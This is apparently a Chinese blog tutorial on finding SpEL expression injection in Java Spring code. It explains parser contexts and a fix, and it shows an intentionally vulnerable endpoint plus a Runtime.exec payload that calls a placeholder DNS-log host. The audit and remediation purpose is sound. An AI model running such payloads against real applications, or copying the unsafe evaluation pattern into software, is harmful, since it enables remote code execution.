Java代码审计SpEL表达式注入
SpEL表达式概念
Spring Expression Language(SpEL) 是 Spring Framework 提供的一种功能强大的表达式语言,全称为 Spring Expression Language,简称 SpEL。它类似于 Struts2 中的 OGNL 表达式语言,旨在为静态的 Java 语言增加动态执行能力,使开发者可以以一种更简洁、灵活的方式访问对象属性、调用方法、进行逻辑运算和动态赋值。
SpEL 的作用和应用场景
SpEL 的设计初衷是为了简化开发工作,提供一种 在运行时动态解析和执行表达式 的机制,常用于如下场景:
- 配置 Bean 的属性值(配合
@Value注解) - Spring Security 权限表达式
- Spring Data JPA 查询表达式
- 条件逻辑控制(如 SPEL 条件注解
@ConditionalOnExpression) - 模板引擎中处理动态数据
- 静态方法调用或对象动态构造
举个简单例子,@Value("#{user.name}") 能让你动态从某个 Bean 中获取字段值注入到另一个 Bean 中。
SpEL 不仅支持属性访问和方法调用,还支持集合操作、正则匹配、表达式求值、对象创建等,是 Spring 应用中的通用表达式解析工具。
SpEL支持的功能特性
SpEL 主要支持以下操作:
| 功能 | 示例 | 描述 |
|---|---|---|
| 文字表达式 | 'hello', 123, true |
字符串、数字、布尔值、null |
| 属性访问 | person.name |
访问对象属性 |
| 方法调用 | 'abc'.toUpperCase() |
调用实例方法 |
| 静态方法 | T(java.lang.Math).random() |
访问 Java 类的静态方法或字段 |
| 对象创建 | new java.util.Date() |
实例化对象 |
| 集合操作 | list[0], map['key'] |
访问数组、List、Map |
| 关系运算符 | age > 18 |
比较操作,如 >、<、== 等 |
| 逻辑运算符 | true and false |
and、or、not 逻辑组合 |
| 条件(三元)运算符 | score > 60 ? '及格' : '不及格' |
简化条件判断 |
| 正则表达式 | 'abc' matches '[a-z]+' |
字符串正则匹配 |
| Bean 引用 | @myBean |
引用 Spring 容器中的 Bean |
| 投影操作 | list.![name] |
从集合中提取每个元素的某个属性 |
| 过滤操作 | list.?[age > 18] |
过滤集合中满足条件的元素 |
| 变量引用 | #name, #user.age |
使用上下文中定义的变量 |
| 模板表达式 | "Welcome, #{#user.name}!" |
与字符串模板结合生成动态字符串 |
SpEL的执行机制
ExpressionParserEvaluationContext
ExpressionParser(表达式解析器)
用于将字符串形式的表达式解析为 Expression 对象:
ExpressionParser parser = new SpelExpressionParser();
Expression expr = parser.parseExpression("user.age");
EvaluationContext(表达式上下文)
在执行表达式时提供变量、对象、函数等运行环境,简单来说,它是表达式执行的运行环境。
StandardEvaluationContext context = new StandardEvaluationContext(user);
int age = expr.getValue(context, Integer.class);
主要有 StandardEvaluationContext 和 SimpleEvaluationContext两种
有些老版本不支持SimpleEvaluationContext,并且如果不做特意说明的情况下,默认是使用更不安全的StandardEvaluationContext
其中StandardEvaluationContext功能最强大,支持SpEL的所有特性,而SimpleEvaluationContext功能受限,专为安全场景设计
| 功能类别 | StandardEvaluationContext | SimpleEvaluationContext ️ | 说明 |
|---|---|---|---|
| 设置根对象 | 支持 | 支持 | 设置表达式的默认作用对象 |
| 设置变量 | 支持 | 支持 | 可使用 #varName 形式 |
| 注册自定义函数 | 支持 | 不支持 | 可用静态方法注册为函数 |
| 访问 Java 类 | 支持(T(...)) | 不支持 | 如 T(java.lang.Math).PI |
| 调用构造函数 | 支持(new) | 不支持 | 如 new java.util.Date() |
| 访问 Spring Bean | 支持(配合 BeanResolver) | 不支持 | 通过 @beanName 引用 |
| 方法调用 | 支持 | ️ 仅支持 getter | 完整方法调用或属性访问 |
| 修改属性 | 支持 | 不支持 | 只读上下文不允许修改 |
| 集合筛选与投影 | 支持 | 不支持 | 如 list.?[age>18] |
| 自定义类型转换器 | 支持 | 不支持 | 用于自定义表达式值转换 |
| 安全性 | 不安全 | 高安全性 | 用户输入不应使用标准上下文 |
| 适用场景 | 内部逻辑、系统配置 | 用户输入、REST绑定等 | 用于信任 vs 不信任来源 |
SpEL表达式使用方法
1、基于注解
一般是写死在代码中,没有很大的可能能利用
@Value("#{2 * 10}")
private int result;
@Value("#{systemProperties['user.name']}")
private String userName;
2、XML
也是写死在代码中,但是可以配合某些特定组件的Nday漏洞利用,如jackjson的CVE-2017-17485、weblogic的CVE-2019-2725
<bean id="exampleBean" class="com.example.MyBean">
<property name="value" value="#{T(java.lang.Math).random() * 100}" />
</bean>
3、外部传入动态执行
外部传入的方式非常之危险
@GetMapping("/spel")
public String spel(@RequestParam String spel) {
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
Object value = expression.getValue();
return "结果: " + value;
}
SpEL注入示例
/**
* SpEL to RCE
* http://localhost:8080/spel/vul/?expression=xxx.
* xxx is urlencode(exp)
* exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
*/
@GetMapping("/spel/vuln")
public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
Expression expression1 = parser.parseExpression(expression);
Object obje = expression1.getValue();
String obj_str = obje.toString();
return obj_str;
}
ExpressionParser parser = new SpelExpressionParser();创建了一个表达式解析,将传入的expression解析为Expression对象
最终通过getValue方法执行表达式,parseExpression方法并不会执行表达式,最终的执行还是在getValue()
那么可以构造Payload为T(java.lang.Runtime).getRuntime().exec("curl xxx.dnslog.cn")
这里获取Runtime类,并通过调用Runtime.getRuntime.exec()进行命令执行
相关SpEL语法可见https://zhuanlan.zhihu.com/p/339619962

SpEL利用的前置条件
通过上面的学习,可以发现如果想要将SpEL升级成RCE,那么就必须具备一下三个条件
- 传入的表达式未过滤
- 表达式解析之后调用了getValue()或setValue()
- 使用StandardEvaluationContext作为上下文对象(如果不指定,Spring默认使用StandardEvaluationContext)
漏洞修复
使用SimpleEvaluationContext代替StandardEvaluationContext即可
审计方法
全局搜索expression或更详细的调用方法等
Java代码审计SpEL表达式注入的更多相关文章
- java代码审计-SpEL表达式注入
0x01 前言 Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言.用于在运行时查询和操作对象图:语法上类似于Unified EL,但提供了更多的特性,特 ...
- SpEL表达式注入漏洞学习和回显poc研究
目录 前言 环境 基础学习和回显实验 语法基础 回显实验 BufferedReader Scanner SpEL漏洞复现 低版本SpringBoot中IllegalStateException CVE ...
- 一文详解SpEL表达式注入漏洞
摘要:本文介绍了SpEL表达式以及常见的SpEL注入攻击,详细地介绍了部分漏洞攻击实例以及常用的漏洞检测与防御手段. 本文分享自华为云社区<SpEL表达式注入漏洞分析.检查与防御>,作者: ...
- SpringBoot SpEL表达式注入漏洞-分析与复现
目录 0x00前言 0x01触发原因 0x02调试分析 0x03补丁分析 0x04参考文章 影响版本: 1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升至1.3.1或以上版本 ...
- [代码审计]某租车系统JAVA代码审计[前台sql注入]
0x00 前言 艰难徘徊这么久,终于迈出第一步,畏畏缩缩是阻碍大多数人前进的绊脚石,共勉. 系统是租车系统,这个系统是Adog师傅之前发在freebuf(http://www.freebuf.com/ ...
- JAVA WEB EL表达式注入
看猪猪侠以前的洞,顺便总结下: 一.EL表达式简介 EL 全名为Expression Language.EL主要作用: 1.获取数据 EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的we ...
- SpringBoot框架SpEL表达式注入漏洞复现与原理分析
前言 这是2016年的一个洞,利用条件是至少知道一个触发 springboot 默认错误页面的接口及参数名. 影响版本:1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升级版本 ...
- SpEL表达式注入
一.内容简介 Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图.语言语法类似于Unified EL,但提供了额外的功能,特别是方 ...
- Java Web表达式注入
原文:http://netsecurity.51cto.com/art/201407/444548.htm 0×00 引言 在2014年6月18日@终极修炼师曾发布这样一条微博: 链接的内容是一个名为 ...
- ref:一种新的攻击方法——Java Web表达式注入
ref:https://blog.csdn.net/kk_gods/article/details/51840683 一种新的攻击方法——Java Web表达式注入 2016年07月06日 17:01 ...
随机推荐
- PX4 仿真环境开发整理
博客地址:https://www.cnblogs.com/zylyehuo/ (一)PX4 仿真开发 搭建仿真环境 概念介绍及环境建议 MAVROS安装(适用于ROS1.ROS2) Ubuntu安装Q ...
- 【长知识】BIOS
设置最新UEFI BIOS 本章导读 BIOS是电脑启动和操作的基础,若电脑系统中没有BIOS,则所有硬件设备都不能正常使用.UEFI是目前最新的BIOS类型,以后会逐渐取代传统的BIOS.本章将认识 ...
- 【WinForm】WinForm 生成单文件程序
WinForm 生成单文件程序 零.解决 安装 Costura.Fody 安装好这个库后生成的就是单文件了. .Net 3.5 NuGet控制台 NuGet\Install-Package Costu ...
- Windows 延缓写入失败及解决方法
场景重现 某天系统弹出警告:某盘符延缓写入失败 解决办法 [Win + R]或手搓打开cmd.exe,键入chkdsk: 然后等待校检完成. 完成之后到警告提示对应的盘符下进行查错并修复 然后等待检查 ...
- AI工具推荐:使用AnythingLLM帮助你学习
AnythingLLM介绍 AnythingLLM 是一个最容易使用的全能 AI 应用,可以进行 RAG.AI 代理等多种功能,无需编写代码或担心基础设施问题. GitHub地址:https://gi ...
- hexo搭建博客记录
这是一次hexo搭建博客并引入archer主题的使用记录. 环境准备 首先是hexo工具的安装使用,这个工具是依赖于nodejs的一个命令行工具,并且各种使用也依赖于node生态,所以需要先进行nod ...
- Linux下安装node及npm
Linux下安装node 1.解压 $ tar zxf node-v8.9.0-linux-x64.tar.gz 2.移动到指定目录 $ mv node-v8.9.0-linux-x64 /usr/l ...
- Unity3D教程:次表面散射的简单实现
次表面散射指的是光线射入半透明材质,在内部发生散射后再透射出来的光线传播过程,考虑到有些项目会需要使用次表面散射,下面就给大家介绍下在Unity3D中次表面散射的简单实现,希望可以帮到大家. 一.前言 ...
- Asp.net mvc基础(十一)数据验证
1.获取验证失败错误 asp.net mvc会自动根据属性的类型进行基本的校验,但Asp.net mvc并不是在请求验证失败的时候抛异常,而是把决定权交给开发人员,开发人员需要决定如何处理数据校验失败 ...
- jmeter使用之请求体包含多个数据
在使用jmeter做压测时,除了增加并发数,还可能在请求体中增加多个字段相同的list.如图: 如果是几百条可以复制粘贴,但是几千上万条复制粘贴就比较费时费力了.另外可能这些数据并不是完全相同,可能还 ...